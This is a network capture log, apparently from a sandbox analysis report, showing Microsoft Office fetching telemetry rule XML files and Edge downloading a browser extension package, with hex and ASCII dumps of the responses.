2024-11-18 03:41:29 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:30 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:30 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 152871bd-d01e-002b-2382-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034130Z-1866b5c5fbb5hnj5hC1DFW18sc00000005c000000000fsa1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:30 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49837	13.107.246.45	443	6748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:30 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:30 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dd43ea10-201e-0003-39d2-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034130Z-16547b76f7fwggrphC1DFW2a8s000000042000000000m4u2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:30 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:30 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:30 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:30 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 1c255c34-701e-0053-4dbc-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034130Z-16547b76f7fpdsp9hC1DFW8f5000000002r000000000smcz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:30 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:31 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:31 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 49ec1b40-d01e-00ad-43af-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034131Z-16547b76f7fgvq8chC1DFWhd2w00000005t000000000f4k3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:31 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:31 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:31 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034131Z-1866b5c5fbbr78bbhC1DFWqz2n00000005d0000000007c45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:31 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:31 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:31 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: bc853cf7-701e-006f-6009-37afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034131Z-16547b76f7f9s8x7hC1DFWywrg000000053g0000000038ny x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:31 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:31 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:31 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 0f1e6da1-801e-007b-6baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034131Z-16547b76f7ff9zf4hC1DFW2pfc00000002sg00000000k5sw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:31 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:31 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:31 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034131Z-16547b76f7fmcv27hC1DFWgpcg000000044g0000000004sm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:31 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49855	142.250.186.161	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:31 UTC	594	OUT	GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:32 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AFiumC6Pt1G7TS0WlEdjz71mfRXONW7C1LJy7_SGCwK70d5jlJ81OiPZb1Cj5N9698ZjDwDlMuLanVThWg X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sun, 17 Nov 2024 17:26:51 GMT Expires: Mon, 17 Nov 2025 17:26:51 GMT Cache-Control: public, max-age=31536000 Age: 36880 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-18 03:41:32 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-18 03:41:32 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-18 03:41:32 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-18 03:41:32 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
